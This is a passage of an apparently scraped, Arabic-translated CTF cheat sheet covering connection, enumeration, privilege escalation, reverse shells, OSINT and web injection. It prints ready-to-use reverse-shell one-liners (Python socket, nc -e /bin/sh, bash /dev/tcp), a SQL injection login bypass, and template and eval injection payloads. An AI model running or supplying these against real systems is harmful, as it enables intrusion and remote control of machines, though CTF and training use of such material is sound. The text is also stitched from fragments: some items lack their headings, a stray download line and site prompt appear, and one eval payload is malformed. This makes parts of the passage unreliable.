d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## الصندوق

### الاتصال

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - تثبيت SSH كنظام ملفات محليًا:
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - الأجهزة المعروفة
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### التعداد

- اكتشاف الأجهزة
    - `netdiscover`
- مسح المنافذ للجهاز
    - `nmap -sC -sV <ip>`
- تعداد لينكس
    - `enum4linux <ip>`
    
- تعداد SMB
    - `smbmap -H <ip>`
- الاتصال بمشاركة SMB
    - `smbclient //<ip>/<share>`

### تصعيد الصلاحيات

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - يبحث تلقائيًا عن نواقل تصعيد الصلاحيات
- سرد الأوامر التي يمكننا تشغيلها كجذر
    - `sudo -l`
- العثور على الملفات التي لديها صلاحية SUID
    - `find / -perm -u=s -type f 2>/dev/null`
    - هذه الملفات تُنفذ بصلاحيات المالك بدلاً من المستخدم الذي ينفذها
- العثور على صلاحيات جميع الخدمات
    - `accesschk.exe -uwcqv *`
    - ابحث عن الخدمات غير الخاضعة لحسابات النظام أو المسؤول
- استعلام الخدمة
    - `sc qc <service name>`
    - يعمل فقط في cmd.exe 

### الاستماع لشل عكسي

- `nc -lnvp <port>`

### شل عكسي

- revshells.com
    - قوالب لكل ما قد تحتاجه تقريبًا
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### الحصول على شل تفاعلي

#### لينكس

1. نفّذ أمر بايثون التالي لجعله تفاعليًا جزئيًا: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. اخرج من جلسة netcat باستخدام `CTRL+Z` وشغّل `stty raw -echo` محليًا
3. أعد الدخول إلى الجلسة باستخدام الأمر `fg` (ومعرف المهمة بعده إذا لزم الأمر)
4. غيّر محاكي الطرفية إلى xterm عن طريق تشغيل `export TERM=xterm` (قد لا يكون ذلك ضروريًا)
5. غيّر شل الخاص بك إلى bash عن طريق تشغيل `export SHELL=bash` (قد لا يكون ذلك ضروريًا)
6. تم! الآن يجب أن يكون شل الخاص بك تفاعليًا بالكامل

#### ويندوز / عام

1. ثبّت `rlwrap` على نظامك
2. الآن، في كل مرة تشغّل فيها مستمع nc، ضع `rlwrap` في المقدمة
3. على سبيل المثال: `rlwrap nc -lvnp 1337`
    * سيعطيك هذا مفاتيح الأسهم وسجل الأوامر، لكنه لن يعطيك الإكمال التلقائي (على حد علمي) لأنظمة ويندوز و*nix 

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - بحث عكسي عن الوجوه على الإنترنت
- [OSINT Framework](https://osintframework.com/)
    - موقع يجمّع الكثير من أدوات OSINT
- [GeoSpy AI](https://geospy.ai)
	- LLM رؤية جغرافية مكانية يمكنها تقدير الموقع فقط من الصورة
- [overpass turbo](https://overpass-turbo.eu)
	- موقع يسمح لك بالاستعلام عن واجهة برمجة تطبيقات OpenStreetMap وتصور النتائج
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- موقع يسمح لك بالاستعلام بسهولة عن واجهة برمجة تطبيقات OSM

## متنوع

- حل أخطاء DNS
    - `dig <site> <recordType>`
    - [قائمة أنواع السجلات](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - تأكد من تجربة TXT
- تشغيل ثنائي بمعمارية مختلفة
    - 64 بت:
        - `linux64 ./<binary>`
    - 32 بت:
        - `linux32 ./<binary>`
        
- استخراج ماكروات MS:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- عرض CNC GCode
    - [https://ncviewer.com/](https://ncviewer.com/)
تنزيل الأداة
  • يصنع تقارير فيديو بديهية بشكل مذهل. قام بتغطية كامل picoCTF 2019 (وهذا كثير)
  • Black Hills Information Security
    • شركة أمنية تنتج الكثير من المحتوى التعليمي
    • تقدم دائمًا دورات و ندوات عبر الإنترنت مجانية حول مواضيع الأمن
  • stacksmashing
    • فيديوهات مذهلة عن الهندسة العكسية واختراق الأجهزة
    • لديه سلسلة رائعة حيث يقوم بهندسة عكسية لـ WannaCry
  • Ben Greenberg
    • أستاذ في GMU لديه مجموعة من دروس فيديو عن pwn والبرامج الضارة
    • قد يكون قديمًا بعض الشيء، لكنه جيد
  • InfoSecLab at Georgia Tech
    • محاضرات جيدة ومتعمقة حول pwn
    • تتطلب بعض المعرفة الأساسية
  • RPISEC
    • اجتماعات فريق جامعة RPI
    • متقدمة جدًا وتفترض بعض المعرفة الأساسية في علوم الحاسوب
  • Matt Brown
    • مختبر أمني مدمج
    • يصنع فيديوهات ممتازة صديقة للمبتدئين حول اختراق إنترنت الأشياء
  • قد تحتاج إلى تغيير توقيع الملف لبعض الصور حتى تفتح
  • قائمة تواقيع الملفات الشائعة
  • Ghex (محرر سداسي عشري آخر لكن بواجهة رسومية. جيد إذا كنت بحاجة للانتقال إلى بايت معين)
    • ghex <file.xyz>
  • ملفات docx هي حاويات لذا يمكنك فك ضغطها للعثور على محتوى مخفي
    • unzip <file.docx>
  • Grep - طريقة جيدة لاستخدام grep للعثور على العلم بشكل متكرر:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • يمكنك تغيير 'picoCTF' إلى بداية العلم الذي تبحث عنه
  • Ltrace - يتيح لك رؤية ما يفعله الكود أثناء تشغيل البرنامج:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • Ltrace يقصر السلاسل الطويلة جدًا. يمكنك استخدام -s لزيادة عدد الأحرف التي يعرضها ltrace. مفيد عند النظر إلى strcmp التي تحتوي على سلاسل كبيرة.
  • يقوم بأتمتة عملية حقن SQL
  • حقن SQL الأساسي
    • أدخل 'OR 1=1-- في نموذج تسجيل الدخول
    • على الخادم، سيتم تقييم هذا إلى SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
    • 1=1 تم تقييمها إلى true، مما يحقق شرط OR، ويتم تعليق باقي الاستعلام بواسطة --
  • PayloadsAllTheThings
    • مورد رائع لاستغلال الويب مع الكثير من الحمولات
  • حقن القوالب (Template Injection)
    • tplmap
      • حقن القوالب الآلي من جانب الخادم
    • حقن Jinja
      • {{ config.items() }}
    • حقن Flask
      • {{ config }}
    • دالة Python eval()
      • __import__.('subprocess').getoutput('<command>')
        • تأكد من تبديل الأقواس إذا لم يعمل
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • قائمة الملفات في النظام
    • المزيد عن حقن Python
  • البرمجة النصية عبر المواقع (XSS)
    • مقيّم CSP
      • مقيّم سياسة أمان المحتوى من جوجل